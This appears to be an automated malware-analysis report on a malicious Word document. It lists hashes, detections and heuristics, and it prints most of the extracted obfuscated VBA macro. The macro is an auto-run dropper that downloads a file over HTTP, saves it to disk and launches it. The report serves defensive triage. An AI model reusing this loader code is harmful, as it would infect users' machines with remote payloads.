Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0aae1a095180a053…

MALICIOUS

Office (OLE)

187.5 KB Created: 2018-05-28 20:07:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 6571fe688f6b547d97d8cf5d4adf5a35 SHA-1: 8c6a0c52712ba97d094273fbce8e9225ba9f15f9 SHA-256: 0aae1a095180a053aa3a53b6b7599218524034bd79d26a1b19b78490d873d47b
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains a VBA macro that is obfuscated and designed to auto-execute. Heuristics indicate that this macro downloads and saves a file to disk using HTTP, and then executes it. The ClamAV detection 'Doc.Dropper.Emodldr-6755244-0' further supports the dropper functionality. The macro's obfuscation and execution of a downloaded payload are key indicators of malicious intent.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            sxZtSQ = bmdGOR.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set bmdGOR = CreateObject(TOHVyyJg("Mhi&cOr#oosGowfJt$.MXTMtLtHMT[TFPg"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set bmdGOR = CreateObject(TOHVyyJg("Mhi&cOr#oosGowfJt$.MXTMtLtHMT[TFPg"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46036 bytes
SHA-256: 76d7b4c28172843e7a240248fafbf78b1ee4a5059a910ec1ab3c1ead2527f697
Detection
ClamAV: No threats found
Obfuscation or payload: likely
443 of 738 identifiers look randomly generated (e.g. 'FjyEBXSdTSoBhBAqOSVnuNBWVxhkFeoclBPZH') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub fCyxlL(jeqDeHV As Boolean, dDRXtx As Boolean, FDMkAf As String, tTwgeBM As Boolean, Qrmsop As Integer)
    VVYQx = StrReverse("i(UbyzCOIfuTD^")
    MlCWBMtu = Right("jrVsDENS(&[", 5)
    ijnuz = 1093 - 1607 - 1608
    VVYQx = Left("H$CBL)rUiSFj", 3)
    kUjLbKYo = Right("?BQvE-VF@S#xjLiwE]pd", 4)
    ijnuz = RTrim("BSqU_OT?Ep]to")
    While dVlGyG < 41
        xChOjM = 751 - 583 - 1604
        LpLfWyS = Left("Pv*guIyxH^lfgfh", 3)
        dVlGyG = dVlGyG + 1
    Wend

    MlCWBMtu = 265 - 669 - 516
    ijnuz = UCase("m@[G@rKC@q")
    kUjLbKYo = 115 - 1356 - 344
    xChOjM = Right(".kZOwOUAT*xO", 4)
    HIEnP = Right("oadxRbErsAjlwkFxRQ*", 4)
    LpLfWyS = Right("YX(g%F^kUy]wzE", 5)
    HIEnP = Right("aAfW%-]nnCwDw#]s($", 3)
    For lfUYcM = 0 To 220
        HIEnP = 1503 + 432 + 1618
        ijnuz = LTrim("uEI?kHkIZ?y]")
        ijnuz = Space(16)
        MlCWBMtu = RTrim("^]RQpejxfg&UD.E?d")
        ijnuz = 1280 + 695 + 1447
        LpLfWyS = Right("wLRrW&czre_)GIi", 3)
        LpLfWyS = UCase("HVFHiVd(v(YX.rtik")
        MlCWBMtu = 644 - 1981 - 387
        kibFWeX = Space(17)
    Next lfUYcM

    MlCWBMtu = LTrim("MQV&Q%&OfhqAW&")
    xChOjM = LTrim("tLjluFVaX!b(erBdKE)D")
    kUjLbKYo = StrReverse("gf%HJIl(ZR")
    For xzmQIO = 0 To 23
        kUjLbKYo = 1591 + 669 + 1378
        VVYQx = RTrim("j%TKLuj%qzqVOl")
    Next xzmQIO

    VVYQx = UCase("zm.jdPogUJ.")
    ijnuz = Right(".vPc$-y*f]][f*--", 5)
    VVYQx = 1538 - 1966 - 304
    kUjLbKYo = Space(20)
    LpLfWyS = StrReverse("JjVbz^ %LVMz-^JstK")
    VVYQx = 1218 + 1461 + 1978
    LpLfWyS = 938 + 1892 + 1304
    kUjLbKYo = Left("Fwo$-YiJ]uL&.ym", 4)
End Sub

Private Function EzWTAZ(FyyFEa As String) As String
    LpLfWyS = UCase("-YIOL-UX%&M_bZ_xb-")
    MlCWBMtu = LTrim("tZGm]p-E OWd&Mc$BK")
    LpLfWyS = UCase("?ABuezQPZ.dV")
    xChOjM = UCase("V.vvZMtX#bxiEat")
    HIEnP = Right("D[x Rno$pBg--Mzr[rf", 2)
    xChOjM = "NAWukWtGJEy" + "*j])JA_Pg)I$xj&c" + "Cr%ur^dXSs(AF*X)hn"
    ijnuz = UCase("GF?[X ?#Ttk)o")
    VVYQx = LTrim("ifMGu]UvLPbqO_dchp")
    kUjLbKYo = UCase("QmU.)&PP[eKT")
    MlCWBMtu = Space(14)
    kUjLbKYo = RTrim("LmrSxqs-tHht^j(B)Z")
    ijnuz = RTrim("UTFu(]TZMrLrK")
    LpLfWyS = Space(15)
    kUjLbKYo = Right("(YGm)wUwWv_", 4)
    kibFWeX = 965 - 1463 - 1891
    kibFWeX = Left("@BY.z-EHXMPlUm.gT(", 3)
    HIEnP = StrReverse("$M%wwh?OEaH")
    LpLfWyS = RTrim("PPeRDICw[oaX[XWYKe")
    LpLfWyS = "P_&!%JYhQQ?" + "G% hI(cqQ-xKY?@" + "t*zh?rVXyT"
    HIEnP = StrReverse("OdUfJM_tigyjfrj%")
    kibFWeX = 1086 - 1044 - 855
    MlCWBMtu = RTrim("D*CfNG!d[fe")
    xChOjM = 1640 - 1538 - 132
    kUjLbKYo = 941 - 1259 - 1489
    xChOjM = 1808 + 1335 + 1362
    While FRiGsk < 309
        LpLfWyS = Space(19)
        HIEnP = 1154 + 646 + 767
        FRiGsk = FRiGsk + 2
    Wend

    HIEnP = UCase("-XHKTn.JHtYrRyOlMW]y")
    xChOjM = Right("qgbYiFQ_WTIrIW", 5)
    EzWTAZ = "kREMjkXTDdjkVfLfirJZcPQNJYgp"
End Function

Private Function tNIbpN(MedBctl As Double) As String
    kibFWeX = Right("EAsQoQS%apNs]", 3)
    VVYQx = 469 + 583 + 1961
    ijnuz = LTrim("qLYbEgE.%xQUFz$(qK^")
    VVYQx = UCase("l@eRAIyBOKv#SsMt")
    LpLfWyS = 1193 + 1396 + 681
    kibFWeX = 1451 - 686 - 1826
    kUjLbKYo = Space(4)
    kUjLbKYo = RTrim("G@(KDcdwqDi%qq%&[vA")
    LpLfWyS = StrReverse("hAar?REFZJARPhSFDV.c")
    MlCWBMtu = Left("poE]XpVmQn&z", 4)
    ijnuz = Right("#_Dw(PCa&y[vZ))N&tuQ", 5)
    kibFWeX = 1906 + 1597 + 1942
    ijnuz = Right("&xCnMSIw!ARQ#Zn$NRc", 3)
    ijnuz = RTrim("hW-AM_ka)w?]%UL?mOio")
    LpLfWyS = Space(1)
    ijnuz = LTrim("m(#VicaJc.Y vUJwUgy")
    VVYQx = Space(18)
    kUjLbKYo = Space(19)
    kibFWeX = "qtTlChbKlsfbx[" + "b(u[@Nd$P_&w" + "^XtA*_zeVCX#N t"
    xChOjM = LTrim("^s.%pw.LZBIQL")
    VVYQx = 1947 - 1163 - 1190
    kUjLbKYo = Space(19)
    tNIbpN = "EXOrMoOlCKHMToekkzIBqJ"
End Function

Private Sub TLQndz(GlLGMY As Integer, WhBsFGX As Boolean, GVKRSlK As Boolean)
    MlCWBMtu = LTrim("uOO_?WZqjj?&]HrB")
    kUjLbKYo = Right("A j?LFDP]cEa]aIAykU@", 3)
    For FeTZnh = 0 To 237
        MlCWBMtu = Right("gbUq_T wCt]@ir*P)tq#", 2)
        VVYQx = Space(12)
    Next FeTZnh

    ijnuz = Right("Q#@Iyt)oEDyHvm.B g%K", 3)
    LpLfWyS = Right("X?Tv-*UoLWL uGj^H)Z", 4)
    HIEnP = 226 - 105 - 1721
    kibFWeX = Right("OTld$F#xuL#Y(Wqs(]", 4)
    While cTpaqf < 137
        kUjLbKYo = LTrim("M$@)zYjr^(NMF^#aR!")
        ijnuz = "q&m(h]?cKO" + " N$-@W-XsG]Z.AO(IeX" + ". PV*_QQa-*OJv"
        HIEnP = RTrim("Q]ehGcGsqH")
        xChOjM = Right("vNT*BWDmd_&R", 3)
        kibFWeX = 1855 + 521 + 1215
        kibFWeX = "CN@^*MwOC-YiE_" + "bAZ$Vu&oK#bQ" + "mtIVC.mVkH_Wx"
        HIEnP = StrReverse("X_%RDhTqND")
        kibFWeX = Right(" QQZUxZBtJwQorVvy", 3)
        cTpaqf = cTpaqf + 2
    Wend

    HIEnP = Right("l_YM@wj NOcg", 2)
    ijnuz = StrReverse("_dg?c&v?DwLW^BAk-")
    ijnuz = RTrim("lEhpPX%?wNL$nSQz")
    MlCWBMtu = "RpWYRYBeEPMd!NnmR" + "dH&jv$jajGSat" + "M$zNWmHe@IMnOdd"
    LpLfWyS = RTrim("Iszw.%)uyY?s&JLcJ")
    VVYQx = Left("jasa^E@Jr(jgL", 4)
    kUjLbKYo = StrReverse("byZ)r _N^tVd(-.E*")
    While yZfbAL < 216
        LpLfWyS = LTrim("[YiR)]_#[#s_PSE J]SE")
        LpLfWyS = StrReverse("Xsi?*(.NuD$KfQ")
        MlCWBMtu = Right("M-**@V[?AhU@X?)o", 3)
        ijnuz = 1672 - 853 - 1512
        MlCWBMtu = Left("s-ich*LaCh%JnY", 4)
        MlCWBMtu = Space(4)
        kibFWeX = RTrim("[^fb?[a[C&mbs")
        HIEnP = RTrim("*$U[rspjMW*c")
        yZfbAL = yZfbAL + 1
    Wend

    While XdJMQE < 259
        LpLfWyS = StrReverse("($[@JfMsDWF")
        ijnuz = 1193 + 899 + 351
        VVYQx = LTrim("SVASp*&gdgGqPYg#JYM")
        kibFWeX = 825 + 1922 + 835
        kUjLbKYo = 688 + 451 + 494
        kUjLbKYo = Left("RtJT!$$JN@th ", 2)
        MlCWBMtu = 495 + 1472 + 1671
        HIEnP = StrReverse("  )DlUkE#hSK")
        kUjLbKYo = LTrim("ovDk*BdWww")
        HIEnP = Right(" Zwld*ckfAx", 3)
        XdJMQE = XdJMQE + 1
    Wend

    xChOjM = Space(11)
    While EDqXxh < 110
        kibFWeX = Right("eO&In vsKa@]Zh", 2)
        kUjLbKYo = LTrim("NEaosPS-AFRzPG&x")
        EDqXxh = EDqXxh + 2
    Wend

    MlCWBMtu = Right("xa$T]OD*I(pprGl", 4)
    HIEnP = StrReverse("F&v*F p*(&z&^pL *")
    MlCWBMtu = Space(10)
    kUjLbKYo = RTrim("^UB#lR.sKlswn[l[?RIF")
    LpLfWyS = StrReverse("OsTOlMpj_CrrXP$")
    LpLfWyS = Right("YrYDkmCGVxqB]??", 5)
    ijnuz = Left("TBb%aUy!^RYh%$", 4)
    kibFWeX = 1775 - 1737 - 1642
    ijnuz = 1110 + 1277 + 1190
    LpLfWyS = Right("Af?ImB*eiHSC", 5)
    ijnuz = Left("U !!wP&_TF!)vW", 3)
    VVYQx = Space(1)
    MlCWBMtu = Space(10)
    VVYQx = 1469 - 789 - 1534
    LpLfWyS = Right(".-^#DQmQcPriaJ", 4)
    ijnuz = RTrim("FeBi$(($C@O*YqNobCP")
    xChOjM = Left("q&YOfPJt]jE", 2)
    kUjLbKYo = LTrim("MjxKSekgg^kl")
End Sub

Private Sub Document_Open()
    Dim MYAxMi As String
    LpLfWyS = UCase("R&*g^$_XB#WhsNkoQPn")
    For dkJoRE = 0 To 49
        kUjLbKYo = LTrim("X]-YNdSTmYqeu*")
        HIEnP = RTrim("Hui#.u^smn&lfn_SOV%U")
        MlCWBMtu = Left("NU]aaQGwxLE)GOv.j", 3)
        kibFWeX = 685 + 1183 + 734
        LpLfWyS = Space(18)
        kibFWeX = LTrim("*tceL^?Ll@hqcJf")
    Next dkJoRE

    kUjLbKYo = Left("tskg.gXf&L)Bsbc*YY", 2)
    kUjLbKYo = 1697 + 1815 + 310
    MlCWBMtu = "gOkmN^wY%)ZVGRJNXG" + "#hk%DUqznH)*BL" + "(c*K#k^kgZ"
    xChOjM = UCase("Ka..s]]LPSEPeJ_[-L?O")
    ijnuz = Left("[U$hiGpC&h", 2)
    kibFWeX = Left("E@@.fgZ@. ", 2)
    MYAxMi = StrReverse("be_xBeo.]A#z[aJXVBDqWVs\L\P%lpRmFeGtF%. Xcn/B ReBxZeE.]d*m&c")
    ijnuz = 1323 + 1307 + 765
    kUjLbKYo = Right("hKXFCZ%DafLPSYxD)PW%", 2)
    LpLfWyS = LTrim("m*Pf.mj T]V)ZcAowQ")
    ijnuz = RTrim("CSfyudxU*!D")
    For MAMDtB = 0 To 337
        VVYQx = Right("hhlTTkJmbbrGW", 3)
        LpLfWyS = "dw@cEb#xGPKkwxqC#" + "&MObd.unPpSN" + "Y)fXeZ!eD]^(zvOz"
        kUjLbKYo = 1986 + 1306 + 1108
        LpLfWyS = StrReverse("RyoOWLr%*.")
        ijnuz = 1793 + 1862 + 1825
        LpLfWyS = StrReverse("h[VNnyLCw(oDpGGo")
        MlCWBMtu = 350 - 1263 - 1136
        HIEnP = UCase("ip(Ncu[emQS&g")
        xChOjM = Space(12)
    Next MAMDtB

    LpLfWyS = "lPIfGG(!CpBXE" + "SLznM@Z)XgKaQ!BrK_*" + "Ov^X(rMSivm?Clh"
    VVYQx = 1658 - 1365 - 709
    MlCWBMtu = StrReverse("k^t%oiWXiMSN")
    While KlyPQM < 55
        kibFWeX = Right("C)S z%HGlLrAy", 5)
        VVYQx = LTrim("WbWEpf_s_%mCDiy")
        xChOjM = 1666 - 1944 - 1981
        kibFWeX = 547 + 531 + 1191
        LpLfWyS = Space(19)
        xChOjM = StrReverse("-HIbsqso^t")
        LpLfWyS = Space(11)
        MlCWBMtu = Space(16)
        KlyPQM = KlyPQM + 3
    Wend

    VVYQx = Space(15)
    VVYQx = 326 + 122 + 1565
    ijnuz = Space(14)
    kibFWeX = RTrim("P!D%pykA*eNI")
    Dim bmdGOR, nYDyKCZ As Object
    kibFWeX = LTrim("& NH!P&muSY")
    For hCHsTm = 0 To 146
        xChOjM = Right("Wlg*-$o)SDavyiyln", 3)
        LpLfWyS = Left("XO?cZquX[Ke*", 2)
        MlCWBMtu = RTrim("%mVrhlr@-oxQgddkBpNG")
        MlCWBMtu = StrReverse("TLqeySOAZMzLcWWYa")
        kibFWeX = RTrim("RzXrA]QdIGRZykb")
        ijnuz = Left("?&Q-oC*]-UsV_Ryz_k", 4)
        VVYQx = 215 + 1249 + 1597
    Next hCHsTm

    HIEnP = LTrim("MBnpdp^r[Ygb^s?w")
    VVYQx = Right("]PlcEo*$dIujCb_", 3)
    Set bmdGOR = CreateObject(TOHVyyJg("Mhi&cOr#oosGowfJt$.MXTMtLtHMT[TFPg"))
    kibFWeX = UCase("hH.dwlPjMUuRg]?h)$vH")
    xChOjM = LTrim("^CgQwCCmE!AL")
    LpLfWyS = 604 + 1519 + 785
    For TwSXEu = 0 To 189
        xChOjM = Left("SpFE-!lH@&$F", 4)
        MlCWBMtu = 713 - 939 - 370
        kUjLbKYo = Right(".TxY^xR[LkNuVTsZHGfU", 5)
        LpLfWyS = StrReverse("AB)#K%ws[KiX-)")
    Next TwSXEu

    ONBxT = TOHVyyJg("h&tntOpx:P/d/naxsMs$e_trs(o]p-tni#oqnA.Tcao?mh/]g%lnoxiI.aeLxne)")
    For HFJOeY = 0 To 106
        LpLfWyS = LTrim("p^r_lPVb GpXRggf")
        kUjLbKYo = "&ZXEjGgMiS[" + "!AshJgJsfbuk^Fz]" + "LTqEGWpJrx"
        ijnuz = Space(20)
        kibFWeX = Space(14)
        HIEnP = 943 + 1590 + 205
        kibFWeX = StrReverse("TSzq mvi_wINtF@")
    Next HFJOeY

    xChOjM = Left("H?$(qh!%hsrEoPuxW%M.", 3)
    ijnuz = 1878 - 1077 - 1847
    VVYQx = 1582 - 1013 - 643
    For FmQflB = 0 To 278
        VVYQx = 1340 - 476 - 360
        xChOjM = UCase("R-zss?aNlyuQlic")
        kibFWeX = RTrim("_T-Ih[pu@[WFhxD&N")
        ijnuz = RTrim("Q F)xX?U(&ekvm%LwH[R")
    Next FmQflB

    bmdGOR.Open "GET", ONBxT, False
    While wgMXUM < 301
        ijnuz = RTrim("LTbg?dznnyHTP)I")
        kibFWeX = Left("FM-C*uNsFF[", 2)
        xChOjM = UCase("Cje&HHw*Q(X^DJssRq")
        wgMXUM = wgMXUM + 2
    Wend

    LpLfWyS = UCase("#Mb@s %So!j *S")
    HIEnP = Left("eb*]Rr]V?ay&#(UsJZn", 2)
    ijnuz = 655 + 1889 + 1977
    bmdGOR.send
    MlCWBMtu = UCase(".Xc%A^GJj]RUHjOfr&wI")
    HIEnP = StrReverse("XBjXw*kDM)D")
    MlCWBMtu = 1728 - 795 - 897
    xChOjM = Space(18)
    xChOjM = UCase("gYp-@sqDp@RZjuGULxkW")
    If bmdGOR.Status = 201 - 1 Then
    xChOjM = RTrim("rXctG?]dbaq(#")
    VVYQx = Space(15)
    For eAGbtz = 0 To 14
        xChOjM = LTrim("m?[XoX$gvGME#_xX$ht")
        kibFWeX = Space(18)
    Next eAGbtz

    kibFWeX = UCase("YDGlc%Po@pa*")
    HIEnP = Left("Q%JhYcsaDsICzw^U", 2)
        Set nYDyKCZ = CreateObject(TOHVyyJg("AND O?DEBg.nS.tFrNe(aZmr"))
    While jpabXf < 215
        LpLfWyS = 276 + 942 + 1676
        VVYQx = Space(6)
        kibFWeX = UCase("VhV&aVQ!H[ I")
        HIEnP = LTrim("#]ANtIuUlBqAWp[Q-")
        xChOjM = LTrim("-hJNg&AeHJQ")
        VVYQx = 1318 + 234 + 107
        ijnuz = Space(14)
        ijnuz = 128 + 1168 + 678
        MlCWBMtu = LTrim("Rdvq]WRg!OV t")
        jpabXf = jpabXf + 3
    Wend

    HIEnP = 689 + 1119 + 1318
    For QUGKpX = 0 To 120
        HIEnP = Space(9)
        kibFWeX = Space(10)
    Next QUGKpX

    VVYQx = LTrim("TXr]^urNKwtHhvjZO")
        nYDyKCZ.Open
    HIEnP = "iO#uNA&QhtYr" + "gzBip]k(aG" + "]GtpLrzk!gU[VR?HQf"
    For tJjTOl = 0 To 352
        xChOjM = UCase("tYJGOO%)w!IV")
        kibFWeX = UCase("YM-W#mOHKx Qu")
    Next tJjTOl

    While JILBmW < 82
        VVYQx = UCase("-x)d &TVJywHrB")
        ijnuz = "ZNF?BfNpddexj" + "lIq%!uppix?MWLE%" + "v?aZeBGd^pLgLNAqofbz"
        VVYQx = Right("vgfYWHc)$-RxsogzlHG", 3)
        kUjLbKYo = 1711 - 540 - 502
        LpLfWyS = Space(3)
        LpLfWyS = LTrim("XY&Ur[rV@b")
        VVYQx = LTrim("uiNSK$)%YApp^[m")
        xChOjM = Space(10)
        kUjLbKYo = 124 - 861 - 951
        JILBmW = JILBmW + 3
    Wend

    kUjLbKYo = Space(16)
    ijnuz = Space(2)
        nYDyKCZ.Type = 1
    MlCWBMtu = 1604 + 821 + 1150
    While qSNhvZ < 79
        ijnuz = LTrim("T.bFKN@Uu_qQ")
        LpLfWyS = 122 + 703 + 1129
        ijnuz = LTrim("Z#UpYmD^ZS.GZJw_P")
        kibFWeX = 653 + 890 + 973
        kUjLbKYo = LTrim("N.DjvJ#ifNN")
        ijnuz = 1102 - 1879 - 1691
        ijnuz = LTrim("&nrry[jxdTXeBfL@?kx")
        kUjLbKYo = 1351 + 1361 + 707
        xChOjM = 1644 + 552 + 516
        kUjLbKYo = LTrim("&tiT mu!x-lxiJpWb(O")
        qSNhvZ = qSNhvZ + 1
    Wend

    kUjLbKYo = 491 + 428 + 1223
    While kozyvE < 23
        HIEnP = 1202 + 208 + 534
        LpLfWyS = Space(2)
        kozyvE = kozyvE + 3
    Wend

    kUjLbKYo = RTrim("GxX[[IvJpI*azh")
        sxZtSQ = bmdGOR.responseBody
    xChOjM = 1755 - 231 - 433
    xChOjM = LTrim("I&)y TFORpAMWKJb")
    VVYQx = UCase("E$OttL)&kRo@wM!iQ[E")
    xChOjM = RTrim("p_#r[@OUrmykc")
        nYDyKCZ.Write sxZtSQ
    kUjLbKYo = UCase("zBlJlDsWYz[zuuG- W")
    kibFWeX = 1510 + 414 + 583
    VVYQx = UCase("XBdxpaE.@k@")
    While iTCJGV < 133
        VVYQx = 391 + 1437 + 1058
        MlCWBMtu = Right("kJgUEz@XtY?WI", 4)
        MlCWBMtu = Space(14)
        iTCJGV = iTCJGV + 1
    Wend

    xChOjM = 875 - 1822 - 1735
        Dim iGBirEP As Object
    LpLfWyS = RTrim("^jbtiI(Hsn")
    ijnuz = "sKIL-Kn_YfmYrLrlvk*z" + "MTMa?yKkj-.oP" + "CZ*?*-q^?KA%dOt"
    While EvUZyU < 132
        kUjLbKYo = 1846 + 1361 + 1296
        kibFWeX = "nUJSoMTX z(U*PD@)rd " + "S[QAVwZuyhIB" + "J-jbx[^#^jmTi%cp  VO"
        ijnuz = Space(14)
        ijnuz = Space(10)
        ijnuz = Space(6)
        EvUZyU = EvUZyU + 3
    Wend

    ijnuz = 251 + 1964 + 1702
    kibFWeX = 1195 + 1287 + 220
        Set iGBirEP = CreateObject(TOHVyyJg("s&cNr)iopMt[ilnig?.Vf[iil$eLsyyfsAt eim&oTbNjve*cTtU"))
    LpLfWyS = RTrim("M(Pl%GpO.L#NH")
    MlCWBMtu = 916 + 1374 + 1325
    xChOjM = StrReverse("%gIASViCzWz]iPI%")
    While NqtzHJ < 195
        ijnuz = LTrim("RokNw_(Zz&ZObgs^")
        kibFWeX = Left("l$WWpE^&$h&!Z-HK&", 5)
        NqtzHJ = NqtzHJ + 2
    Wend

        Uvutuf = iGBirEP.GetSpecialFolder(5 - 3)
    xChOjM = StrReverse("H)(ae$u[&$ovpRimT*")
    kibFWeX = StrReverse(")**?DU]CuK#UE")
    xChOjM = Space(15)
    VVYQx = 432 - 1488 - 1270
        Call nYDyKCZ.SaveToFile(Uvutuf & "\\" & TOHVyyJg("VTqpBaXGaPzMAP.jepxZei"), 2)
    kibFWeX = LTrim("WQLIlW W(*dM]J!D$mn")
    While pXdLBF < 17
        kibFWeX = 1376 + 618 + 1786
        kUjLbKYo = 1093 - 818 - 1703
        HIEnP = 1460 + 702 + 1925
        xChOjM = UCase("hUOcJ@_-vkHUp%VYw")
        LpLfWyS = Space(9)
        pXdLBF = pXdLBF + 1
    Wend

    kibFWeX = 738 + 460 + 259
    kUjLbKYo = "gyhev%!DJaA@&?M*#Q" + "xTq#dKoid_* Ddycg$)o" + "$yr) hUIb!_M[oR["
        nYDyKCZ.Close
    kibFWeX = 1266 + 1464 + 1785
    While vQvfxx < 173
        VVYQx = "ebSICZ[d[lK[H" + "q.XoHc[W)lCwf&aDI#" + "kY).mj-S jLcg[_KD"
        ijnuz = Right("CZ?sh*uZRTUy(%G(r-QZ", 5)
        MlCWBMtu = Right("#pN)qTG@cKNM", 4)
        kibFWeX = StrReverse("!LIJ j!YMgmfxRKAm_y")
        ijnuz = Right("-MKLIzA H)_zFDMtOndx", 3)
        LpLfWyS = Right("cWo-WHK!e&ztQ&", 3)
        kibFWeX = "q#eGseUeGL.SbQ %l" + "eVRMUe?lWiIofF" + "c!XLMETGIHeE]"
        HIEnP = Right("zTBC^wr aZZ]YlK", 5)
        kibFWeX = Space(18)
        vQvfxx = vQvfxx + 2
    Wend

    kUjLbKYo = 324 - 624 - 326
    While fDwITX < 39
        MlCWBMtu = Space(7)
        MlCWBMtu = Right("WlE*fuv)gVkUP$fo%", 3)
        ijnuz = 1232 - 624 - 674
        kibFWeX = UCase("*p%[Mzezc)")
        HIEnP = StrReverse("oNtAW[N[YUXOs)*UZZy")
        HIEnP = StrReverse("tXvKmXFQJkPFb")
        fDwITX = fDwITX + 2
    Wend

    End If
    While mIrAiq < 67
        LpLfWyS = RTrim("&?!e-S*kPc&Uzl_N&SCN")
        HIEnP = StrReverse("xHzpTGczks?")
        mIrAiq = mIrAiq + 2
    Wend

    kibFWeX = 1056 + 1422 + 1948
    ijnuz = RTrim("PIhUkZA^N &kc)!CCD")
    kibFWeX = StrReverse("p&OcgwpH@(*")

    kibFWeX = Left("Wy lY%$*]F@^", 4)
    ijnuz = StrReverse("wPiIeJVmEA")
    HIEnP = Space(4)
    LpLfWyS = Space(5)
    VVYQx = "_sHBqTAVsf^TN" + "UKLc#!.un?o" + "*RjatWy.QB@V"

    While YnBlOPK < 590
        While zYyIfW < 16
            kibFWeX = Right("rzY@[yuhFdKZ", 5)
            kibFWeX = 278 - 901 - 427
            LpLfWyS = Left("EQ]SjXBAQ! Z m?Om- ", 3)
            xChOjM = RTrim("ig!(e[lC!(!@H!cE(")
            ijnuz = Left("Z?Pva)FIzFkOoSB c*AW", 2)
            kUjLbKYo = 1863 - 906 - 1094
            kUjLbKYo = UCase("@RSX)W)enLxRdoL*")
            zYyIfW = zYyIfW + 3
        Wend

        While ixujfj < 389
            ijnuz = "aEnWXFtJUs!C" + "YmYJXOEvzK#PQy" + "u@Z([XnQ?Msqx"
            xChOjM = StrReverse("?x*IjXn#ErVNO")
            ixujfj = ixujfj + 3
        Wend

        LpLfWyS = Left("gpL.G_GYuh(", 3)
        xChOjM = RTrim("E*md-MuON*wz@TgS")
        MlCWBMtu = LTrim("I#x]ok^o]Hs&)%sdrCIg")
        kibFWeX = Space(14)
        If YnBlOPK = 165 Then
            Call fMOcuI(TOHVyyJg(MYAxMi), "kkSCxzHqn", "SwbpTSKdu", "AFXP", "WCrBg")
            xChOjM = UCase("W @IxOCm-T?R-@")
            kibFWeX = Left("CpgpLmTi)E", 5)
            ijnuz = Right("x@ocWlHcm@M x_(uPL", 5)
            VVYQx = LTrim("ritW[Z%L.g")
        End If
        For AXaTKE = 0 To 368
            kibFWeX = 1616 - 1288 - 307
            VVYQx = Right("KDZ*eQLXTkmIZj(Cjq", 3)
        Next AXaTKE

        For UWZkAq = 0 To 20
            ijnuz = Left("C#&EHmBQwui(u@Izm]M", 5)
            kUjLbKYo = StrReverse("h%JT)vMH-vXSoix")
            LpLfWyS = RTrim("%Wj %qCtDlDzTw)EO[s.")
            MlCWBMtu = 213 + 583 + 1645
            MlCWBMtu = Right("n_Z%rUYpQPoFs]$Hw", 5)
            kibFWeX = 282 + 1908 + 961
            LpLfWyS = 515 - 1302 - 605
        Next UWZkAq

        HIEnP = Space(7)
        While aelXQs < 278
            kUjLbKYo = StrReverse("^SHr%#&sAuejHAp@EtV")
            VVYQx = Right("Ux(fxvuMDLYn_RgxNYJ", 5)
            kibFWeX = "bAqMIF(w. yELgo(s*" + "!tJTelQxMkXu]!bJ$BpP" + "l [Ne*@)wz"
            xChOjM = Left("uYdGQyGFHvkp", 4)
            ijnuz = StrReverse("O hM@ESYFjN egp")
            ijnuz = Space(9)
            kibFWeX = Space(11)
            kUjLbKYo = 1401 - 231 - 281
            xChOjM = StrReverse("lGSazHo$sC]xVYseD")
            ijnuz = Space(12)
            aelXQs = aelXQs + 2
        Wend


    YnBlOPK = YnBlOPK + 1
    Wend
    kUjLbKYo = StrReverse("bvSRAm]kgZ.MrJSI&")
    xChOjM = UCase("jMk^MIkEeE-j-")
    For NTJbUT = 0 To 256
        kUjLbKYo = "jOmGFUDUVq&zR-" + "@oSkk&$V.- %i" + "gNrpCVBx%.xz?#C"
        LpLfWyS = Space(14)
        kUjLbKYo = Space(19)
        HIEnP = Right("a@(eM@RrIOJtv", 5)
        LpLfWyS = Right("rLO@OEhOBIDSYkCTTtU", 5)
        xChOjM = RTrim(" HNVO!^$ln")
        VVYQx = LTrim("oMrZMJ]lpe-nsc $&q")
        VVYQx = Left("atSQwM#EYoysw$YoVIf?", 2)
        LpLfWyS = Right("ZD!et%DfOZ!P^asZFAY", 5)
        xChOjM = Left("pH!Qzptp*s_*Z!&gU", 2)
    Next NTJbUT

    HIEnP = Right("?O&cmNCYpRHXsTNXu#A", 3)
    ijnuz = LTrim("J?exa@]wZbs@oJDKod")
    HIEnP = StrReverse("?qE@?UVW)-")
    VVYQx = UCase("R)cx-LEGwLgh^ZdSHt")
    MlCWBMtu = Right("W@_m CEoURt", 5)
